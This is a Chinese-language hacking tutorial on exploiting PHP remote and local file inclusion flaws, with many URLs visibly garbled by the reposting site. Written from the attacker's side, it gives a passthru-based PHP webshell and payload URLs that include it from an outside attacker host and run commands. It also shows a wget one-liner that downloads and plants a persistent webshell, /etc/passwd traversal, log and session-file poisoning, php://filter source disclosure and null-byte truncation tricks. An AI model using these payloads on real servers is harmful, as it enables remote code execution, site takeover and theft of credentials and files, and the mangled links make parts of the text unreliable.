1、什么是“远程文件包含漏洞”?答案是:当服务器使用PHP的特性(函数)来包含任何文件时,因为要包含的文件的来源没有经过严格过滤,所以可以包含一个恶意文件,我们可以构造这个恶意文件来实现邪恶的目的。涉及的危险函数:include()、require()和include_once()、require_once()Include:包含并运行指定的文件。当include外部文件出错时,系统会给出警告,但整个php文件会继续执行。require:与include唯一不同的是,当出现错误时,include继续运行,require停止运行。include_once:这个函数和include函数几乎一样,只是在导入函数前检查文件是否被导入。如果已经执行过一次,则不会再次执行。require_once:这个函数和require的区别和我上面说的include和include_once是一样的。所以我不会重复它。php.ini配置文件:allow_url_fopen=off表示不能包含远程文件。Php4存在远程和本地,php5仅存在本地包含。2.为什么要包含文件?程序员在写程序的时候,不喜欢做同样的事情,不喜欢把相同的代码(比如一些常用的函数)写几次,所以把常用的代码写在一个单独的文件中,比如分享。php,然后在其他文件中包含调用。在php中,我们使用上面列出的函数来达到这个目的。它的工作流程:如果你想在main.php中包含share.php,我这样写include("share.php")就达到了目的,然后就可以使用share.php中的函数了。自然,需要包含的文件名就没有问题,也就不会出现漏洞。那么问题出在哪里呢?有时可能不确定需要包含哪个文件。比如先看下面这个文件index.php的代码:}是一段普通的PHP代码,它是如何工作的?上面代码的使用格式可能是这样的:https://img.ydisp.cn/news/20220814/naujlygtiup.comhttps://img.ydisp.cn/news/20220814/juel3qzwbs3.com结合上面的代码,很简单先说说它是如何工作的:1.提交上面的URL,在index.php中获取页面的值($_GET[page])。2、判断$_GET[page]是否为空,如果不为空(这里是main.php),使用include包含这个文件。3.如果$_GET[page]为空,则执行else包含文件“home.php” 。#p#3.为什么会有漏洞?你可能要说,这很好,可以根据url动态包含文件,多方便啊,怎么会有漏洞呢?问题的答案是:我们不乖,总喜欢和别人不一样,我们不会按照他的链接去操作,我们可能要写我们要包含(call)的文件,比如,我们随便输入以下网址:http://hi.baidu.com/m4r10/php/index.php?page=hello.php。那么我们的index.php程序就简单的按照我们上面说的步骤去执行:把页面当成hello.php,然后去include(hello.php)。这个时候问题就来了,因为我们没有hello.php这个文件,所以在include的时候会报warning,类似如下信息:Warning:include(hello.php)[function.include]:failed打开流:第3行的/vhost/wwwroot/php/index.php中没有这样的文件或目录警告:include()[function.include]:无法打开'hello.php'以包含(include_path='.:')在/vhost/wwwroot/php/index.php第3行注意上面的Warning是Thehello.phpfilewespecifiedcouldnotbefound,即无法包含我们指定路径的文件;而下面的warning是因为之前没有找到指定的文件,所以在include的时候出现了warning。4.如何使用?上面可以看到,问题出现了,那么我们要如何利用这个漏洞呢?它的使用方法其实有很多种,但本质上都是大同小异的。这里我说说三种常见的使用方式:1.包括读取目标机器上的其他信息。从前面的文件可以看出,由于获取到的参数页面没有经过过滤,所以我们可以任意指定目标主机上的其他敏感文件。例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们可以多次检测包含其他文件,比如指定URL为:https://img.ydisp。cn/news/20220814/digebvc4pzc.com/m4r10/php/index.php?page=./txt.txt可以读取当前路径下的txt.txt文件,或者使用../../跳转到目录(不过滤../);也可以直接指定绝对路径,读取系统敏感文件,比如这个网址:https://img.ydisp.cn/news/20220814/digebvc4pzc.com/m4r10/php/index.php?page=/etc/passwd,如果目标主机没有权限限制很严格,或者启动Apache的权限比较高,可以读取这个文件的内容。否则,您将收到类似于以下内容的警告:open_basedir限制生效。(这是因为访问目录在apache的open_basedir中被限制了)。#p#2。远程文件包含一个可执行的PHP木马。如果目标主机的“allow_url_fopen”被激活(默认是激活的,很少有人会修改),我们可以有更多的空间使用,我们可以指定其他URL上包含PHP代码的webshel??l直接运行。比如我先写一段PHP运行命令的代码,保存为cmd.txt如下(后缀不重要,只要内容是PHP格式即可)。if(get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义符(字符串中的反斜杠字符可以去掉)ini_set("最大执行时间",0); //设置这个文件的执行时间,0为无限制.echo"M4R10startline"; //打印返回起始行的提示信息passthru($_REQUEST["cmd"]); //运行cmd指定的命令echo"M4R10endline"; //返回打印结束行的提示信息?>上述文件的作用是接受cmd指定的命令,并调用passthru函数执行,返回M4R10和M4R10开始行之间的内容M4R10的结束线。把这个文件保存到我们主机(可以是不支持PHP的主机)的服务器上,只要能通过HTTP访问即可,比如地址如下:http://www.xxx.cn/cmd.txt,然后我们可以在易受攻击的主机上构造如下URL进行利用:https://img.ydisp.cn/news/20220814/digebvc4pzc.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls其中cmd后面的命令就是你需要执行的命令。其他常用命令(以*UNIX为例)如下:ll列出目录和文件(相当于Windows下的dir)pwd查看当前绝对路径idwhoami查看当前用户wget 下载文件指定的网址等等,你的主机可以去百度找,不会列出来的。#p#3。包含用于创建文件的PHP文件(常用)。可能有些人认为在目标机器上得到一个真正的Webshel??l更让人放心。万一有人发现这包含一个错误修复,我们就不能再远程包括上面的“伪”Webshel??l,不是吗?这种心态可以理解,我们继续。获取真正的webshel??l,我们也说说两种常用的方法:1)使用wget等命令下载一个webshel??l,比较简单,也比较常用。在我们上面得到的伪webshel??l中,我们可以执行命令,然后我们还可以调用系统中一个很强大的角色,wget,你可以google这个强大的命令,参数很多,肯定会把你搞糊涂的,呵呵,我们不用那么复杂,直接用一个-O(--output-document=FILE,将文档写入FILE文件)就可以了,呵呵。前提是你按照前面的步骤把一个包含PHP代码的Webshel??l放在一个可以通过HTTP或者FTP访问的地方,比如:http://www.xxx.cn/m4r10.txt,这个里面写的是什么文件是webshel??l的内容。然后我们在前面得到的伪Webshel??l中执行如下URL:https://img.ydisp.cn/news/20220814/digebvc4pzc.com/m4r10/php/index.php?page=http://www.xxx。cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt-Om4r10.php如果当前目录可写,则可以得到一个名为m4r10.php的Webshel??l,如果当前目录不可写writable,还需要想其他办法。2)使用文件创建之前的wget可能会遇到当前目录无法写入的情况;或者目标主机已经禁用(或者没有安装)这个命令,我们需要绕过它,我们可以结合前面的include文件漏洞来include一个PHP脚本来创建一个文件(writeafile),内容如下:或者写入我们上面用wget下载的php文件,但是我们改进了方法,用PHP脚本实现,可以使用上面的cmd.php?cmd=ll寻找一个可写的目录,比如这里上传,然后在这个目录下创建文件:./upload/m4r10.php。然后我们得到我们的Webshel??l。4、本地文件包含(常用的)典型漏洞代码:黑框判断方法:如果单纯从url判断,路径、dir中的URL、file、pag、page、archive、p、eng、languagefiles等相关关键字,可能存在文件包含漏洞。#p#Local包含漏洞利用(此处忽略截断问题,截断方法将在下文介绍)1.包括同一台服务器上传的jpg、txt、rar等文件,这是最理想的情况。2.包含系统的各种日志,比如apache日志,文件系统日志等,其中,结合apache记录格式的时候,一般的日志会非常大,基本无法包含成功。包括日志是一个自动攻击程序。其中,大魔王的博客提到了一个空间问题。见:《邪恶的空格-PHP本地文件包含漏洞的新突破口》http://huaidan.org/archives/1144.html解决空间问题,其实就是把一句话用base64加密后,就可以执行了。3.包含/proc/self/environ。该环境变量包含用于访问Web的会话信息和包括用户代理在内的参数。用户代理可以在客户端修改。参考:《Shell via LFI – proc/self/environ method》https://img.ydisp.cn/news/20220814/digebvc4pzc.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html4,包括php程序自身生成的文件、缓存、模板等,打开源程序成功率高。5.使用本地包含读取敏感的PHP文件,需要PHP5或以上版本。如果你看到“config”的源码如下:index.php?pages=php://filter/read=convert.base64-encode/resource=config在特殊情况下,readfile()函数没有包含在执行,可以直接阅读源码。6.使用phpinfo页面getshell。一般大型机构的网络群都有很大的机会拥有phpinfo。Poc和介绍参考:《利用phpinfo信息LFI临时文件》https://img.ydisp.cn/news/20220814/digebvc4pzc.com/idwar/blog/item/43101de153370126279791f2.html7,使用包含错误或者包含未初始化变量的PHP文件,只要变量没有初始化,可能会再次攻击。详见:《include()本地文件包含漏洞随想》https://img.ydisp.cn/news/20220814/zp2fuzxasff8,结合跨站使用index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode(要考虑域信任问题)9.包含临时文件。这种方法很麻烦。参考:《POST method uploads》http://www.php.net/manual/en/features.file-upload.post-method.php解决临时文件删除方法:慢速连接(注意:前提是file_uploads=On,5.3.1php.ini中新增max_file_uploadsfile_uploads=On,5.3.1中新增max_file_uploads,默认最大上传为20)windows格式:win下最多4个随机字符('a'-'z','A'-'Z','0'-'9')如:c:/windows/temp/php3e.tmplinux格式:6个随机字符('a'-'z','A'-'Z','0'-'9')如:/tmp/phpUs7MxA慢速连接参考的两种上传代码:《PHP安全之LFI漏洞GetShell方法大阅兵》http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm10,我现在找不到了说到写权限目录,注入到日志里,再找写权限目录。比如注入log.Linux:index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=unamewindows:index.php?pages=..\apache\logs\error.log%00&x=.&y=dir详见《PHP本地文件包含(LFI)漏洞利用》http://kingbase.org/blog/php_local_file_inclusion_exploit11,使用php://input、php://filter、data://等phpwrapper来include文件在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html文中提到的allow_url_fopen和allow_url_include只针对标记为网址。这会影响http(s)和ftp(s),但不会影响php或date的url形式。12、LFI判断目录是否存在,列出目录,如**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00**这种方法在TTYshell上完全可以判断,但在URL上有时不可行。即使没有档案,也可以回显密码内容。index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00**FreeBSD《directory listing with PHP file functions》http://websec…ress.com/2009…php-file-functions/listdirectory**有逻辑判断时,如果目录不存在,则返回header.php+Filenotfound+如果footer.php存在,则返回header.php+footer.php。这个逻辑是符合程序员的习惯的。用于获取带有发现目录深度的日志的shell。13.包含SESSION文件,php保存格式sess_SESSIONID默认位置是/tmp/(PHPSessions),/var/lib/php/session/(PHPSessions),/var/lib/php5/(PHPSessions)andc:/windows/temp/(PHPSessions)等文件。14.包含/proc/self/cmdline或/proc/self/fd/来查找日志文件(属主为root,默认只能访问root)。具体参考:LocalFileInclusion–《Tricks of the Trade》https://img.ydisp.cn/news/20220814/sp3w1qnglih.html还有其他参考include/var/log/auth.log,不过这个文件默认也是644.15,而maillog的通常位置是/var/log/maillog这个方法也很鸡肋,具体参考:《local file inclusion tricks 》找不到链接16.里面是固定文件,很鸡肋所以我也提一下它是为了完整性。例如:可以使用中间人攻击。突破限制截断后面的字符串技巧在使用localinclusion的时候,经常需要用%00来截断后面的字符串,但是GPCON的时候%00会被转义,请问有没有其他的方法呢?使用一定数量的/突破操作系统对文件名的长度限制截断下面的字符串(推测是相对路径)可以看到漏洞代码:test.txt代码:结果截断失败,改代码:这次成功了。以上是windows下的方法,其实linux下也可以:includetruncation在"action=/etc/passwd%00"中提交"%00"会截断后面的".php",但是除了"%00"还有其他字符可以用来截断吗??肯定有人想到了问号“?”的作用。在远程包含的url中,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里”?”实现了“伪截断”:),好像这样看起来不太舒服,我们简单写一段代码来fuzz:测试字符".",“/”或者2个字符的组合会被截断一定的长度。win系统的长度和*nix是不一样的。在win下,strlen(realpath("./"))+strlen($_GET['action'])当长度大于256时被截断。对于*nix,长度为4*1024=4096。在php.ini中关闭远程文件时,可以使用上述技巧来包含本地文件。(此漏洞被cloie#ph4nt0m.org首次发现])
